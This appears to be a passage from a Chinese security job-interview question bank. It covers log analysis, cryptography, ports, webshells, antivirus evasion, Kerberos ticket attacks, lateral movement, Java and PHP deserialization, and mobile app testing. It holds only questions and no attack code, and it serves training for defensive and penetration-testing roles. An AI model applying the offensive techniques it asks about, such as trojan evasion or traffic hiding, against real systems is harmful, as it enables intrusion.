流量分析和日志分析具体是什么?做过日志分析吗?

apache 日志保存在哪?

web 日志你是在哪个目录下看见的?

有具体看过哪些日志文件吗,都有哪些日志?网站被挂马了怎么处理?怎么分析日志?

有了解过加密算法吗?
什么是 AES?用多少位加密的?我国用的多少位?有碰到过哪种代码加密吗?
什么是对称加密和非对称加密?有什么区别?对称加密有哪些?非对称加密有哪些?minikazi 抓取密码,密码不通用怎么办?
简单说一下 RSA 的加密过程?什么是密码爆破吗?
怎么生成一个相关的密码字典?爆破的字典你是怎么去生成的?如果密码经过加密怎么去爆破?
你有什么比较特殊的密码爆破经历吗?为什么现在不用 DES?
3389 开放,但是无法连接的原因是什么?
23 端口是什么?3306 端口是什么?PHPmyadmin 有弱口令,你知道网站路径,你可以干啥?
6379 是干啥的?有什么洞?
说一下 3389,FTP,3306,redis 对应的端口或者服务有哪些高危端口?
说一下常见端口号对应服务
pop3 和 IMAP 的区别?了解 nohup 吗?
table 这个语句的作用是什么?怎么判断 cnd 加速方式
有哪些写进 webshell 的方法
api 是什么?
知道 iptables 吗?会配置吗?
auctor 信息泄露和 elastisearch 未授权怎么利用?能做什么?了解 hash 传递吗?说一下
fastjson 了解多少?
根据 netstat 怎么找到进程?
是否了解服务器,CentOS 服务器的日志路径说一下免杀有没有了解过?
du 是什么?free 是什么?df 是什么?三者的区别说一下?nat start 是什么
假设个场景,APT 有告警,你要做的一个流程是什么?说一下 Ips 与 ids 的区别?
上传了一个 jsp 的木马,你怎么去做免杀?社工 apt 实际利用过吗?说一下思路
用过哪些厂商的 APT?asp 一句话木马怎么写?
说一下黄金白银票据,域内 kebeors 认证怎么知道域控登录过这台机器?
说一下 5 种 cs 流量隐藏方式说一下 swagger 未授权利用 oa 系统了解哪些?
dhcp 同网段和不同网段如何下发地址?说一下 DNS 解析历史记录
payload(10.1.1.1:5620/hello/; /admin )中 分号(;)的作用?有没有用过 curl?
怎么判断一个网站使用了 s2 框架;利用 whois 可以做什么?
img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
Eval()函数和 assert()函数的区别?一句话木马是用什么函数写的?
secure_file_priv 函数的三个参数是什么,分别有什么含义?说一下预编译查询的原理
同源策略的作用是什么?了解等保测评级别吗?
什么是机械核查,机械访谈?
怎么横向移动?说说具体方式?知道黄金票据吗?对网络协议和数据库了解到什么程度?
域环境有接触过吗
说一下请求转发和请求重定向区别
他给我一个什么场景,然后抓到的包,长度什么的都一样,问怎么去找到我们需要的关键字?数据包分析了解吗?
给一个数据包,怎么判断是否是恶意的?有没有做过流量检测类的项目?
说一下系统的内核加载和原理
怎么做漏洞分享,哪些内容是要保密的?会不会新型漏洞靶场搭建?
失效的访问控制实战中的方式是?泛洪攻击是什么?
说一下权限维持和权限提升的方法及原理什么是中间人攻击?
说一下同源策略及同源策略四要素爆一组用户名和密码用什么模式?说一下数据流传输过程
正向代理和反向代理怎么连?ctf 杂项拿到一个一图片怎么测?ctf 你比较擅长哪一类?…

第二十章 语言

可以用 php 写出网页或者项目嘛?写过脚本吗?

写过 exp 吗?

说一下 php 里面单引号和双引号的区别

PHP GP3 的啥模块有一个函数可以写 webshell?一个字的函数?

phpinfo.me 用它来干什么?有自己写过 POC 吗?

如果在 php.ini 开启函数还能不能进行文件写入?

说一下 php 反序列化的原理,触发的原理,有哪些魔术方法?php 反序列换魔术方法怎么会被调用?

php 有哪些函数协议?如何在不使用插件和工具的情况下判断一个 web 站点是 PHP 还是 java 编写?说一下 php 框架有那些漏洞,java 框架有哪些漏洞?

知道哪些 php 代码执行函数?

如何用 python 实现 sql 注入盲注的脚本?

对 Python 熟悉吗?Python 有哪些库? Goby 的插件你会自己写吗?用 python 写过小程序吗?

常用的爬虫库有哪些?

python 写过啥?写的什么爬虫?爬虫用到什么库?反爬虫有什么了解吗?有用 Python 写过批量处理漏洞的脚本吗?

说一下 Java 主流的框架?

中间件漏洞 spring 全家桶 spring core 原理、structs2 原理有了解过用 spring 框架?shiro S2 的代码吗?

java 的 web 项目用什么写的?servlet 还是 S2 还是 shiro?java 写的塔克大战 怎么面向对象的?什么对象?

说一下正向 shell 和反向 shell 的区别?

什么是序列化和反序列化?能说一下 fastjson 反序列化的原理嘛?说一下 shiro 反序列化原理

解释 java 反序列化这个名词,原理是什么,怎么防范?

说一下去年的 shiro 加密方式,现在的 shiro 还是硬编码吗?怎么去修复?说一下序列化和反序列化的作用

你是怎么判断是不是 shiro 框架的?说一下 shiro 的分类

Java 三要素和反射机制是什么?

shiro 反序列化的原理 为什么要使用 shiro 反序列化?反序列化的流量的原理

熟悉哪些脚本语言,哪个最擅长?安卓四大组件了解吗?

多少个 url 链接在一定响应的时间区间就判断它 sleep 了或者网络超时啥的?端口转发有没有做过?

了解过 xml 文档吗?xml 文档结构是什么样的?出栈冒泡排序的逻辑怎么做?

懂 html css js 吗?

看到 readObject 你能想到什么?怎么利用它写 Poc?说一下 java 多态

第二十一章 APP

APP 安全编译反编译这些你了解的多吗?

app 了解多少?

移动 app 抓不到包怎么办?

移动 app 漏洞你有没有挖过?了解多少?

想要做 app 渗透方面的人,问我怎么对微信公众号做渗透测试,又问怎么对微信小程序,比如湖南健康码,或者其他 app 小程序做渗透测试?

小程序和 APP 怎么渗透测试?证书相互认证失效了怎么办?给你一个 app 的包你有几种方法安装到手机上?

移动应用 抓包进行证书检验 怎么绕过?